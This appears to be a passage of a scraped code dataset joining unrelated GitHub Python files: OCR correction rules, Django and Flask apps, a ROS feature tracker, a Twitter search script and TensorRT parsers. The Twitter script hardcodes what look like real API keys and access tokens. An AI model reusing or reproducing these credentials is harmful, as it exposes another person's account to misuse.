processed_text = re.sub(\"regist?ir?\", \"registr\", processed_text)\n # ring (rmg)\n processed_text = re.sub(\"rmg\", \"ring\", processed_text)\n # Series (Scries, serics)\n processed_text = re.sub(\"(s|S)(crie|eric)s\", lambda o: o.groups()[0] + \"eries\", processed_text) \n # secretary (secre, secre', secreta, secreta:)\n processed_text = re.sub(\"(ECRE|ecre)(ta)?[':]? \", lambda o: \"ECRETARY \" if o.groups()[0][0].isupper() else \"ecretary \", processed_text)\n # set\n processed_text = re.sub(\"(\\W)s[co]t(\\W)\", lambda o: o.groups()[0] + \"set\" + o.groups()[1], processed_text)\n # shall (shail, sholl)\n processed_text = re.sub(\"sh(ai|ol)l\", \"shall\",processed_text) \n # te1mina, teiaimina, teialmina, teiiina\n processed_text = re.sub(\"(t|T)e[a-z1:]{2,4}ina\", lambda o: o.groups()[0] + \"ermina\", processed_text)\n # terms (ters, tems, teims, teriis, te:ms, te::us, teriiis; teitas)\n processed_text = re.sub(\"(\\W[tT])e[irmnustz1:]{1,4}s(\\W)\", lambda o: o.groups()[0] + \"erms\" + o.groups()[1], processed_text)\n processed_text = re.sub(\"(\\W)tei[int]{1,2}(\\W)\", lambda o: o.groups()[0] + \"term\" + o.groups()[1], processed_text)\n processed_text = re.sub(\"t(azu8|eitas)\", \"terms\", processed_text) \n # the (thc)\n processed_text = re.sub(\"(\\W)thc(\\W)\", lambda o: o.groups()[0] + \"the\" + o.groups()[1], processed_text)\n # to (fo)\n processed_text = re.sub(\"(\\W)fo(\\W)\", lambda o: o.groups()[0] + \"to\" + o.groups()[1], processed_text)\n # WHEREOF\n processed_text = re.sub(\"WHEREO[EFP]{1,2}F\", \"WHEREOF\", processed_text)\n \n return processed_text\n\ndef correct_mispelled_words(raw_text: str) -> str:\n\n MISPELLING_DICT = {\n # phrases\n \"as 2 result\": \"as a result\", \n \"as neatly as\": \"as nearly as\",\n \"by their teams\": \"by their terms\",\n \"Inthe\": \"In the\",\n \"Jess than\": \"less than\",\n \"tothe\": \"to the\",\n \" ofa \": \" of a \",\n # words\n \"snd\": \"and\",\n \"aacange\": \"arrange\",\n \"aducas\": \"address\",\n \"adveise\": \"adverse\",\n \"aiie\": \"ame\",\n \"agrecin\": \"agreem\",\n \"anend\": \"amend\",\n \"Anthor\": \"Author\",\n \"aveiage\": \"average\",\n \"ay:ce\": \"agree\",\n \"attomey\": \"attorney\",\n \"Boud\": \"Board\",\n \"Compeny\": \"Company\",\n \"canital\": \"capital\",\n \"cci\": \"cei\",\n \"confeed\": \"conferred\",\n \"conyer\": \"conver\",\n \"concure\": \"concurre\",\n \"Corpoiat\": \"Corporat\",\n \"cqual\": \"equal\",\n \"cicise\": \"ercise\",\n \"crcase\": \"crease\",\n \"decm\": \"deem\",\n \"dexign\": \"design\",\n \"dixect\": \"direct\",\n \"ccd\": \"eed\",\n \"efiect\": \"effect\",\n \"cither\": \"either\",\n \"cmploy\": \"employ\",\n \"ercice\": \"ercise\",\n \"fallest\": \"fullest\",\n \"fimds\": \"funds\",\n \"gencics\": \"gencies\",\n \"govem\": \"govern\",\n \"gxant\": \"grant\",\n \"yxoup\": \"group\",\n \"heicin\": \"herein\",\n \"HEAT.TH\": \"HEALTH\",\n \"i.c.\": \"i.e.\",\n \"imsofar\": \"insofar\",\n \"invesi\": \"invest\",\n \"intermst\": \"interest\",\n \"indebtermss\": \"indebtness\",\n \"[ss\": \"Iss\",\n \"\\\\ater\": \"later\",\n \"Taw\": \"Law\",\n \"1aw\": \"law\",\n \"1evel\": \"level\",\n \"licu\": \"lieu\",\n \"Iess\": \"Less\",\n \"mect\": \"meet\",\n \"NAMB\" : \"NAME\",\n \"nocd\": \"need\",\n \"occui\": \"occurr\",\n \"eccumci\": \"occurren\",\n \"onverm\": \"onverti\",\n \"orgumiz\": \"organiz\",\n \"othciwisc\": \"otherwise\",\n \"ounnon\": \"ommon\",\n \"paia\": \"para\",\n \"pesson\": \"person\",\n \"poweis\": \"powers\",\n \"prefsences\": \"preferences\",\n \"zaice\": \"rance\",\n \"REGIS1\": \"REGIST\",\n \"Tepre\": \"repre\",\n \"respeot\": \"respect\",\n \"resirict\": \"restrict\",\n \"aaid\": \"said\",\n \"securitics\": \"securities\",\n \"SECIION\": \"Section\",\n \"Fisiewed\": \"Series\",\n \"sirat\": \"strat\",\n \"stract\": \"street\",\n \"Stook\": \"Stock\",\n \"sr1OCK\": \"STOCK\",\n \"snant\": \"suant\",\n \"vecial\": \"pecial\",\n \"Tefer\": \"refer\",\n \"Tights\": \"rights\",\n \"uior\": \"rior\",\n \"wansfer\": \"transfer\",\n \"iansact\": \"transact\",\n \"ireat\": \"treat\",\n \"warunt\": \"warrant\",\n \"WIItNESS\": \"WITNESS\",\n \"yccs\": \"yees\",\n }\n \n processed_text = raw_text\n for mispelled_word, correct_word in MISPELLING_DICT.items():\n processed_text = processed_text.replace(mispelled_word, correct_word)\n\n return processed_text\n\ndef clean_format(raw_text: str) -> str:\n \n processed_text = re.sub(\" +\", \" \", raw_text)\n \n # ii) -> (ii), J) -> (J)\n # note: this may cause other issue are) -> (are)\n processed_text = re.sub(\"\\n([ivx0-9A-Z]{,3}\\))\", lambda o: \"\\n(\" + o.groups()[0], processed_text)\n # ( a) -> (a)\n processed_text = re.sub(\"\\( (.*)\", lambda o: \"(\" + o.groups()[0], processed_text)\n # (a ) -> (a)\n processed_text = re.sub(\"(.*) \\)\", lambda o: o.groups()[0] + \")\", processed_text)\n # (i)p -> (i) p\n processed_text = re.sub(\"\\)(\\w)\", lambda o: \") \" + o.groups()[0], processed_text)\n # (c(i -> (c)(i)\n processed_text = re.sub(\"\\((\\w+)\\(\", lambda o: \"(\" + o.groups()[0] + \")(\", processed_text)\n # ) i) -> )(i)\n processed_text = re.sub(\"\\) (i+)\\)\", lambda o: \")(\" + len(o.groups()[0])*\"i\" + \")\", processed_text)\n # ) ‘I -> ) I\n processed_text = re.sub(\"\\) ‘(\\w)\", lambda o: \") \" + o.groups()[0], processed_text)\n # (i)) -> (i)\n processed_text = re.sub(\"(\\n\\(\\w\\))\\) \", lambda o: o.groups()[0] + \" \", processed_text)\n \n # 1, The name -> 1. (only for New Paragraph)\n processed_text = re.sub(\"(\\n\\n\\d), ([A-Z])\", lambda o: \". \".join(o.groups()), processed_text)\n # 2 Dividends -> 2. Dividends (only for New Paragraph)\n processed_text = re.sub(\"(\\n\\n\\d) ([A-Z])\", lambda o: \". \".join(o.groups()), processed_text)\n # SeriesC -> Series, Section1 -> Section 1, Article I -> Article I\n processed_text = re.sub(\"(eries|ection|rticle|RTICLE)([0-9A-Z])\", lambda o: \" \".join(o.groups()), processed_text)\n \n return processed_text.replace(\" .\", \".\"\n ).replace(\"..\", \".\"\n ).replace(\"((\", \"(\"\n )\n \ndef fix_ocr_errors(raw_text: str) -> str:\n \n processed_text = raw_text\n \n processed_text = correct_mispelled_symbols(processed_text)\n\n processed_text = correct_mispelled_patterns(processed_text)\n \n processed_text = correct_mispelled_words(processed_text) \n\n processed_text = clean_format(processed_text)\n \n return processed_text\n\ndef run_ocr_correction_test(testdir_path: str):\n for file_name in os.listdir(testdir_path):\n if \"OCR.txt\" in file_name:\n print(\"=={}==\".format(file_name))\n identical = True\n\n ocr_file_path = testdir_path + \"/\" + file_name \n baseline_file_path = testdir_path + \"/\" + file_name.replace(\"OCR\", \"Baseline\") \n ocr_file = open(ocr_file_path, 'r', encoding=\"utf8\")\n ocr_content = \"\".join(ocr_file.readlines())\n baseline_file = open(baseline_file_path, 'r', encoding=\"utf8\")\n baseline_content = \"\".join(baseline_file.readlines())\n for fix_ocr_line, baseline_line in zip(fix_ocr_errors(ocr_content).split(\"\\n\"), baseline_content.split(\"\\n\")):\n if fix_ocr_line != baseline_line:\n print(\"fixed ocr: \" + fix_ocr_line)\n print(\"baseline: \" + baseline_line)\n print(\"\")\n identical = False\n ocr_file.close()\n baseline_file.close()\n print(\"PASSED\" if identical else \"FAILED\")\n \ndef scan_pdf(file_path: str) -> str:\n\n with pdfplumber.open(file_path) as pdf:\n page_texts = [page.extract_text(layout=True).strip() for page in pdf.pages]\n # the pdf is machine-generated\n if all(page_texts):\n print(\"a machine-generated file\")\n clean_texts = []\n for page_text in page_texts:\n raw_page_text = re.sub(\"[\\n]{2,}\", \"\\n\\n\", page_text)\n lines = [re.sub(\"[\\s\\n]+\", \" \", line).strip() for line in raw_page_text.split(\"\\n\\n\")]\n clean_texts.append(remove_header_and_footer(lines))\n full_text = \"\\n\\n\".join(clean_texts)\n return fix_pdf_errors(full_text)\n # the pdf is a scanned copy, try OCR\n else:\n print(\"an OCR-scanned file\")\n page_imgs = convert_from_path(file_path)\n\n # return a list of text in each page of the input doc\n page_texts = [pytesseract.image_to_string(preprocess_image(page), lang=\"eng\", config=\"--psm 3\") for page in page_imgs]\n raw_texts = []\n for page_text in page_texts:\n lines = page_text.strip(\"\\n\").split(\"\\n\\n\")\n raw_texts.append(remove_header_and_footer(lines)) \n full_text = \"\\n\\n\".join(raw_texts)\n return fix_ocr_errors(full_text)\n","repo_name":"xdj701/Sex-and-Startup-Automation","sub_path":"scan_file.py","file_name":"scan_file.py","file_ext":"py","file_size_in_byte":21246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73401563574","text":"import numpy as np\nimport h5py\n\ndef load_dataset():\n train_dataset = h5py.File(\"data/train_noncat.h5\", \"r\")\n\n train_set_x_orig = np.array(train_dataset[\"train_set_x\"][:])\n train_set_x_flatten = train_set_x_orig.reshape(train_set_x_orig.shape[0], -1).T\n train_set_x = train_set_x_flatten / 255.0\n\n train_set_y = np.array(train_dataset[\"train_set_y\"][:])\n train_set_y = train_set_y.reshape((1, train_set_y.shape[0]))\n\n test_dataset = h5py.File(\"data/test_noncat.h5\", \"r\")\n\n test_set_x_orig = np.array(test_dataset[\"test_set_x\"][:])\n test_set_x_flatten = test_set_x_orig.reshape(test_set_x_orig.shape[0], -1).T\n test_set_x = test_set_x_flatten / 255.0\n\n test_set_y = np.array(test_dataset[\"test_set_y\"][:])\n test_set_y = test_set_y.reshape((1, test_set_y.shape[0]))\n\n classes = np.array(test_dataset[\"list_classes\"][:])\n\n return train_set_x, train_set_y, test_set_x, test_set_y, classes\n\ntrain_set_x, train_set_y, test_set_x, test_set_y, classes = load_dataset()\n","repo_name":"babasbot/non_cat","sub_path":"non_cat/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9505128845","text":"#!/usr/bin/env python3\n\nimport os\nimport cv2\nimport numpy as np\nimport time\nfrom threading import Thread\nfrom queue import Queue\n\nimport rospy\nimport rosbag\nfrom cv_bridge import CvBridge\nfrom sensor_msgs.msg import Image\nfrom maplab_msgs.msg import Features\nfrom std_msgs.msg import MultiArrayDimension\n\nfrom config import MainConfig\nfrom feature_extraction import FeatureExtractionCv, FeatureExtractionSuperPoint\nfrom feature_tracking import FeatureTrackingLK, FeatureTrackingSuperGlue\n\nclass ImageReceiver(Thread):\n def __init__(self, config, pca, feature_extractor, feature_tracker, index):\n Thread.__init__(self, args=(), daemon=True)\n\n self.config = config\n self.index = index\n self.pca = pca\n self.feature_extractor = feature_extractor\n self.feature_tracker = feature_tracker\n\n # Image subscriber\n self.image_queue = Queue()\n self.image_sub = rospy.Subscriber(\n self.config.input_topic[self.index], Image,\n self.image_callback, queue_size=10)\n self.descriptor_pub = rospy.Publisher(\n self.config.output_topic[self.index], Features,\n queue_size=10)\n rospy.loginfo('[ImageReceiver] Subscribed to {in_topic}'.format(\n in_topic=self.config.input_topic[self.index]) +\n ' and publishing to {out_topic}'.format(\n out_topic=self.config.output_topic[self.index]))\n\n # CV bridge for conversion\n self.bridge = CvBridge()\n\n # Data on the last processed frame\n self.prev_xy = []\n self.prev_scales = []\n self.prev_scores = []\n self.prev_descriptors = []\n self.prev_track_ids = []\n self.prev_frame = []\n\n # Initialize internal counters\n self.image_count = 0\n self.next_track_id = 0\n\n def detect_and_describe(self, cv_image):\n # Get keypoints and descriptors.\n self.xy, self.scores, self.scales, self.descriptors = \\\n self.feature_extractor.detect_and_describe(cv_image)\n\n if len(self.xy) > 0:\n # Do not detect next to the image border\n img_h, img_w = cv_image.shape[:2]\n top_and_left = np.logical_and(\n self.xy[:, 0] > self.config.min_distance_to_image_border,\n self.xy[:, 1] > self.config.min_distance_to_image_border)\n bot_and_right = np.logical_and(\n self.xy[:, 0] < img_w - self.config.min_distance_to_image_border,\n self.xy[:, 1] < img_h - self.config.min_distance_to_image_border)\n keep = np.logical_and(top_and_left, bot_and_right)\n\n self.xy = self.xy[keep, :2]\n self.scores = self.scores[keep]\n self.scales = self.scales[keep]\n self.descriptors = self.descriptors[keep]\n\n def initialize_new_tracks(self, cv_image):\n if len(self.prev_xy) > 0:\n # Limit number of new detections added to fit with the global limit,\n # and mask detections to not initialize keypoints that are too close\n # to previous ones or to new ones\n quota = self.config.num_tracked_points - self.prev_xy.shape[0]\n mask = np.ones((cv_image.shape[0], cv_image.shape[1]))\n for kp in self.prev_xy:\n x, y = kp.astype(np.int32)\n cv2.circle(mask, (x, y), self.config.mask_redetections_thr_px,\n 0, cv2.FILLED)\n\n keep = []\n for i in range(self.xy.shape[0]):\n if quota <= 0:\n break\n x, y = self.xy[i].astype(np.int32)\n if mask[y, x]:\n keep.append(i)\n quota -= 1\n keep = np.array(keep)\n\n # Assign new track ids\n if keep.size > 0:\n track_ids = np.arange(\n self.next_track_id,\n self.next_track_id + keep.size).astype(np.int32)\n self.next_track_id += keep.size\n\n self.prev_xy = np.concatenate([self.prev_xy, self.xy[keep]])\n self.prev_scores = np.concatenate(\n [self.prev_scores, self.scores[keep]])\n self.prev_scales = np.concatenate(\n [self.prev_scales, self.scales[keep]])\n self.prev_descriptors = np.concatenate(\n [self.prev_descriptors, self.descriptors[keep]])\n self.prev_track_ids = np.concatenate(\n [self.prev_track_ids, track_ids])\n else:\n # If there are no previous keypoints no need for complicated logic\n num_new_keypoints = min(\n self.xy.shape[0], self.config.num_tracked_points)\n self.prev_xy = self.xy[:num_new_keypoints].copy()\n self.prev_scores = self.scores[:num_new_keypoints].copy()\n self.prev_scales = self.scales[:num_new_keypoints].copy()\n self.prev_descriptors = self.descriptors[:num_new_keypoints].copy()\n\n # Assign new track ids\n self.prev_track_ids = np.arange(\n self.next_track_id,\n self.next_track_id + num_new_keypoints).astype(np.int32)\n self.next_track_id += num_new_keypoints\n\n def publish_features(self, stamp):\n num_keypoints = int(self.prev_xy.shape[0])\n descriptors = self.prev_descriptors.astype(np.float32)\n\n # If available PCA descriptor before exporting\n if self.config.pca_descriptors:\n assert(not self.pca is None)\n descriptors = np.dot(descriptors - pca[0], pca[1])\n\n # Flatten descriptors and convert to bytes\n descriptors = descriptors.flatten().view(np.uint8)\n\n # Fill in basic message data\n feature_msg = Features()\n feature_msg.header.stamp = stamp\n feature_msg.numKeypointMeasurements = num_keypoints\n feature_msg.keypointMeasurementsX = (\n self.prev_xy[:, 0] / self.config.resize_input_image).tolist()\n feature_msg.keypointMeasurementsY = (\n self.prev_xy[:, 1] / self.config.resize_input_image).tolist()\n feature_msg.keypointMeasurementUncertainties = [0.8] * num_keypoints\n feature_msg.keypointScales = self.prev_scales.tolist()\n feature_msg.keypointScores = self.prev_scores.tolist()\n feature_msg.descriptors.data = descriptors.tolist()\n feature_msg.trackIds = self.prev_track_ids.tolist()\n\n # Descriptor array dimentions\n dim0 = MultiArrayDimension()\n dim0.label = 'desc_count'\n dim0.size = int(num_keypoints)\n dim0.stride = int(descriptors.size)\n\n dim1 = MultiArrayDimension()\n dim1.label = 'desc_size'\n desc_bytes = int(descriptors.size / num_keypoints)\n assert(desc_bytes * num_keypoints == descriptors.size)\n dim1.size = desc_bytes\n dim1.stride = desc_bytes\n\n feature_msg.descriptors.layout.dim = [dim0, dim1]\n feature_msg.descriptors.layout.data_offset = 0\n\n # Publish\n self.descriptor_pub.publish(feature_msg)\n\n def image_callback(self, image_msg):\n try:\n cv_image = self.bridge.imgmsg_to_cv2(\n image_msg, desired_encoding=\"passthrough\")\n except CvBridgeError as e:\n print(e)\n\n if self.config.resize_input_image != 1.0:\n h, w = cv_image.shape[:2]\n nh = int(h * self.config.resize_input_image)\n nw = int(w * self.config.resize_input_image)\n cv_image = cv2.resize(cv_image, (nw, nh))\n\n timestamp = image_msg.header.stamp\n self.image_queue.put((timestamp, cv_image))\n\n def run(self):\n while True:\n # Wait for next image\n while self.image_queue.empty():\n time.sleep(0.01)\n\n timestamp, cv_image = self.image_queue.get()\n\n # Get both color and grayscale versions for the image\n if cv_image.ndim == 3 and cv_image.shape[2] == 3:\n cv_image = cv2.cvtColor(cv_image, cv2.COLOR_BGR2GRAY)\n\n # Find keypoints and extract features\n self.detect_and_describe(cv_image)\n\n # If we have a previous frame and features track them\n if len(self.prev_xy) > 0 and len(self.prev_frame) > 0:\n self.prev_xy, self.prev_scores, self.prev_scales, \\\n self.prev_descriptors, self.prev_track_ids = \\\n self.feature_tracker.track(\n self.prev_frame, cv_image,\n self.prev_xy, self.xy,\n self.prev_scores, self.scores,\n self.prev_scales, self.scales,\n self.prev_descriptors, self.descriptors,\n self.prev_track_ids)\n self.prev_frame = cv_image\n\n if len(self.xy) > 0:\n self.initialize_new_tracks(cv_image)\n\n self.image_count += 1\n if self.image_count % 10 == 0:\n print('topic {index} recv {count}'.format(\n index=self.index, count=self.image_count))\n\n if len(self.prev_xy) > 0:\n self.publish_features(timestamp)\n\nif __name__ == '__main__':\n rospy.init_node('maplab_features', anonymous=True)\n\n config = MainConfig()\n config.init_from_config()\n\n # Initialize shared feature extraction and tracking\n if config.feature_extraction == 'cv':\n feature_extractor = FeatureExtractionCv(config)\n elif config.feature_extraction == 'superpoint':\n feature_extractor = FeatureExtractionSuperPoint(config)\n else:\n raise ValueError('Invalid feature extraction type: {feature}'.format(\n feature=config.feature_extraction))\n\n if config.feature_tracking == 'lk':\n feature_tracker = FeatureTrackingLK(config)\n elif config.feature_tracking == 'superglue':\n feature_tracker = FeatureTrackingSuperGlue(config)\n else:\n raise ValueError('Invalid feature tracking method: {tracker}'.format(\n tracker=config.feature_tracking))\n\n # Feature compression with PCA\n if config.pca_descriptors:\n import csv\n with open(config.pca_matrix_path, 'r') as fp:\n reader = csv.reader(fp, delimiter = ',')\n num_features, num_components = map(int, next(reader))\n \n mean = next(reader)\n mean = np.array(mean).astype(np.float32)\n assert(mean.size == num_features)\n\n components = [line for line in reader]\n components = np.array(components).astype(np.float32)\n assert(components.shape == (num_features, num_components))\n pca = (mean, components)\n\n rospy.loginfo(\n '[ImageReceiver] Using PCA to project feature size from ' +\n '{:d} to {:d}.'.format(num_features, num_components))\n else:\n pca = None\n\n receives = []\n for i in range(len(config.input_topic)):\n receiver = ImageReceiver(\n config, pca, feature_extractor, feature_tracker, i)\n receiver.start()\n\n try:\n rospy.spin()\n except KeyboardInterrupt:\n print(\"Shutting down.\")\n","repo_name":"ethz-asl/maplab_features","sub_path":"src/ros_interface.py","file_name":"ros_interface.py","file_ext":"py","file_size_in_byte":11201,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"25567099928","text":"from django.test import TestCase, Client\nfrom django.urls import reverse\nfrom django.db.models import Max\nfrom django.contrib.auth.models import User\nfrom .models import Course, Student, Date\n\nclass CourseUrlTestCase(TestCase):\n def setUp(self):\n User.objects.create(username=\"It's me\", first_name=\"best\", last_name=\"jun\")\n course = Course.objects.create(subject=\"Thai\", subject_id=\"TH101\", credit=3)\n Date.objects.create(subject_id=course, section=\"100001\", start_time=\"9:30\", end_time=\"12:30\",\n day=\"Monday\", room=\"1024\", year=\"2\", semester=\"1\", seat=1, status=True)\n\n Student.objects.create(name=User.objects.first())\n\n def test_index_view_status_code(self):\n c = Client()\n response = c.get(reverse('Index'))\n self.assertEqual(response.status_code, 200)\n\n def test_index_view_context(self):\n c = Client()\n response = c.get(reverse('Index'))\n self.assertEqual(response.context['Courses'].count(), 1)\n\n def test_valid_course_page(self):\n c = Client()\n course = Course.objects.first()\n response = c.get(reverse('Course', args=(course.id,)))\n self.assertEqual(response.status_code, 200)\n\n def test_invalid_course_page(self):\n max_id = Course.objects.all().aggregate(Max(\"id\"))['id__max']\n\n c = Client()\n response = c.get(f'Course/{max_id+1}')\n self.assertEqual(response.status_code, 404)\n","repo_name":"6310682577/cn331_as2","sub_path":"Course_registrations/Course_reg/test_urls.py","file_name":"test_urls.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29706972270","text":"from django.shortcuts import render, redirect\n\nfrom webapp import models\nfrom webapp.utils.form import UserModelForm\nfrom webapp.utils.pagination import Pagination\n\n\ndef user_list(request):\n queryset = models.UserInfo.objects.all()\n # for obj in queryset:\n # print(obj.create_time.strftime(\"%Y-%m-%d\"),obj.get_gender_display(),obj.depart.title)\n page_object = Pagination(request, queryset, page_size=2)\n context = {\"queryset\": page_object.page_queryset,\n \"page_string\": page_object.html()}\n return render(request, \"user_list.html\", context)\n\n\ndef user_add(request):\n if request.method == \"GET\":\n context = {\n 'gender_choices': models.UserInfo.gender_choice,\n 'depart_list': models.Department.objects.all()\n }\n\n return render(request, \"user_add.html\", context)\n #\n name = request.POST.get(\"name\")\n pwd = request.POST.get(\"pwd\")\n age = request.POST.get(\"age\")\n account = request.POST.get(\"account\")\n time = request.POST.get(\"time\")\n dp = request.POST.get(\"dp\")\n gender = request.POST.get(\"gender\")\n models.UserInfo.objects.create(name=name, password=pwd, age=age, account=account, create_time=time, depart_id=dp,\n gender=gender)\n return redirect(\"/user/list/\")\n\n\ndef user_model_form_add(request):\n if request.method == \"GET\":\n form = UserModelForm()\n return render(request, \"user_model_form_add.html\", {\"form\": form})\n form = UserModelForm(data=request.POST)\n if form.is_valid():\n # print(form.cleaned_data)\n form.save()\n return redirect('/user/list/')\n return render(request, \"user_model_form_add.html\", {\"form\": form})\n\n\ndef user_edit(request, nid):\n row_object = models.UserInfo.objects.filter(id=nid).first()\n if request.method == \"GET\":\n form = UserModelForm(instance=row_object)\n return render(request, \"user_edit.html\", {'form': form})\n form = UserModelForm(data=request.POST, instance=row_object)\n if form.is_valid():\n # 默认保存的是用户输入的所有数据\n # form.instance.字段名=值,如果想要在用户输入意外增加一些值\n form.save()\n return redirect('/user/list/')\n return render(request, 'user_edit.html', {'form': form})\n\n\ndef user_delete(request, nid):\n models.UserInfo.objects.filter(id=nid).delete()\n return redirect('/user/list/')\n","repo_name":"benben555/djangoProject","sub_path":"exp1/webapp/views/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":2428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19249185697","text":"import numpy as np\nimport dill\nfrom flask import Flask, render_template, request, flash\nfrom model import FlatModel\n\n# Initiate the app.\napp = Flask(__name__)\n\n# Set up secret key.\napp.config['SECRET_KEY'] = 'many bytes'\n\n@app.route('/', methods=('GET', 'POST'))\ndef index():\n result = ''\n if request.method == 'POST':\n flat = FlatModel(request.form)\n error = flat.validate_data()\n\n if error is None:\n X = flat.transform()\n file = open('regressor_model', 'rb')\n model = dill.load(file)\n file.close()\n result = f'{round(np.expm1(model.predict(X))[0])} руб.'\n\n flash(error)\n\n return render_template('index.html', result=result)\n","repo_name":"Sstilva/REPP-Web-application","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"34251778460","text":"import pandas as pd\r\nimport tweepy\r\nimport csv\r\nimport re\r\nimport nltk\r\nimport numpy as np\r\n\r\nconsumer_key ='lePEiH8TJUBmgcqtGXkyDH6vW'\r\nconsumer_secret = 'STD5DQSCv66iGM4Ep8HyEsScbLvhZd9mLoceGZ9Qp5Rhrb3bHd'\r\n\r\naccess_token = '2901217459-D31mI2dBzQrETXzgnKSUPMFzU3EM3Z7DdQ9kR0h'\r\naccess_token_secret = '4yMXQPBxmHxcbwJ5RpbTdOdz3FHzWUHUSmcT0BT0ZBsyx'\r\n\r\nauth = tweepy.OAuthHandler(consumer_key,consumer_secret)\r\nauth.set_access_token(access_token,access_token_secret)\r\n\r\napi = tweepy.API(auth)\r\ndf = pd.read_csv('C:/Users/PRIYAM SHAH/Fake-News-Suspector/NewsApi/tweet.csv')\r\npf = pd.read_csv('C:/Users/PRIYAM SHAH/Fake-News-Suspector/NewsApi/tweet.csv')\r\n\r\nfor i in df.title:\r\n print(i)\r\n \r\n news_query = i\r\n news_keywords=[token for token, pos in nltk.pos_tag(nltk.word_tokenize(news_query)) if pos.startswith('N') or pos.startswith('J') or pos.startswith('V') or pos.startswith('R')]\r\n print(news_keywords)\r\n public_tweets = api.search(q=news_query,lang='en',show_user='false',rpp=100)\r\n ls=[]\r\n for tweet in public_tweets:\r\n count=0\r\n for j in news_keywords:\r\n result = re.search(j,tweet.text)\r\n if result!=None:\r\n count=count+1\r\n Match_percent = (count/len(news_keywords))\r\n ls.append(Match_percent)\r\n print(np.mean(ls)) \r\n pf.set_value(i,4,np.mean(ls))\r\n\r\n\r\n\r\n","repo_name":"Fake-News-Suspector/Fake-News-Suspector","sub_path":"NewsApi/pandas.py","file_name":"pandas.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"} +{"seq_id":"42251397394","text":"from django import forms\nfrom django.contrib.auth.models import User\nfrom . import models\nfrom manager import models as CMODEL\n\n\nclass CustomerUserForm(forms.ModelForm):\n class Meta:\n model=User\n fields=['first_name','last_name','username','email','password']\n widgets = {\n 'password': forms.PasswordInput()\n }\n\nclass CustomerForm(forms.ModelForm):\n class Meta:\n model=models.Customer\n fields=['address','mobile','profile_pic']\n\nclass PolicyForm(forms.ModelForm):\n vehicle_policy = forms.ModelChoiceField(queryset=CMODEL.Category.objects.all(),empty_label=\"Category Name\", to_field_name=\"id\")\n class Meta:\n model=CMODEL.vehicle_policy\n fields=['proposer_name','father_name',\n 'age','address', 'profession',\n 'phone_no','policychoice', 'pobox', 'licenceno',\n 'durationfrom', 'durationto', 'plateno',\n 'vehiclename', 'vehiclemodel', 'yearofmanufacture',\n 'yearofpurchase', 'priceofcar', \n ]\n\nclass ClaimForm(forms.ModelForm):\n vehicle_policy = forms.ModelChoiceField(queryset=CMODEL.Category.objects.all(),empty_label=\"Category Name\", to_field_name=\"id\")\n class Meta:\n model=CMODEL.claim_form\n fields=['insured_name','phone_no',\n 'address', 'profession',\n 'policy_number','renewal_date', 'vehiclemodel', 'yearofmanufacture',\n 'plateno', 'licenceno', 'vehicle_purpose',\n 'horsepower', 'carrying_capacity', 'driver_name',\n 'driver_age', 'driver_phone_no','licence_expiry_date', 'driver_address',\n 'licence_number', 'driver_profession',\n 'licence_grade', 'accident_proof','accident_date','accident_place','accident_time','accident_description',\n ]\n widgets = {\n 'accident_description': forms.Textarea(attrs={'rows': 10, 'cols': 100})\n }","repo_name":"HiyawNT/Insurance-Management-System-Django","sub_path":"customer/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37937331322","text":"from ..tensorrt import ONNXNodeParser, TensorrtParser\nfrom ...ops.op import OpDesc\nfrom .parse_utils import (\n get_nb_dims,\n ShapeTensor,\n reduce_mul,\n concat_shape,\n concat_shapes,\n get_shape,\n add_shuffle,\n flatten_tensor,\n)\nfrom tensorrt import tensorrt as trt\nimport numpy as np\nimport logging\n\nLOGGER = logging.getLogger(\"nart.modules.tensorrt\")\n\nreal_parser = TensorrtParser.get_class()\n\n\nclass Reshape(ONNXNodeParser, OpDesc, layertype=\"Reshape\", parser=real_parser):\n @classmethod\n def _parse_(cls, node, network, itensor_by_name):\n input = cls.get_itensor_by_name(node.input[0])\n get_attr = cls.def_get_attr(node)\n # todo: maybe infer that the shape is output of Constant?\n if len(node.input) >= 2:\n shape = cls.get_const_array(node.input[1])\n if shape is not None:\n shape = list(shape)\n else:\n shape = itensor_by_name[node.input[1]]\n else:\n shape = get_attr(\"shape\", \"ints\")\n reshape = network.add_shuffle(input)\n reshape.name = node.name\n # reshape.name = node.name\n if isinstance(shape, trt.ITensor):\n # use dynamic reshape\n reshape.set_input(1, shape)\n else:\n # use static reshape\n reshape.reshape_dims = shape\n\n outputs = {node.output[0]: reshape.get_output(0)}\n return reshape, outputs\n\n\nclass Unsqueeze(ONNXNodeParser, OpDesc, parser=real_parser):\n @classmethod\n def _parse_(cls, node, network, itensor_by_name):\n ipt = cls.get_itensor_by_name(node.input[0])\n\n get_attr = cls.def_get_attr(node)\n axes = get_attr(\"axes\", \"ints\")\n # the number of dimension of output tensor.\n out_dims = get_nb_dims(ipt) + len(axes)\n\n class Part:\n def __init__(self, type, start=None):\n self.type = type\n self.ones_cnt = 1 if type == \"ones\" else None\n self.range = [start, start + 1] if type == \"copy\" else None\n\n # the next unused axis in input.\n it = iter(range(get_nb_dims(ipt)))\n # the parts of output shape\n parts = []\n axes = [axis if axis >= 0 else axis + out_dims for axis in axes]\n for axis in range(out_dims):\n if axis in axes:\n # fill a 1\n if parts and parts[-1].type == \"ones\":\n # last part is sequence of ones, append the one to that part\n parts[-1].ones_cnt += 1\n else:\n # last part is copied dimensions, create new part\n parts.append(Part(\"ones\"))\n else:\n # copy the dimension\n if parts and parts[-1].type == \"copy\":\n parts[-1].range[1] = next(it) + 1\n else:\n 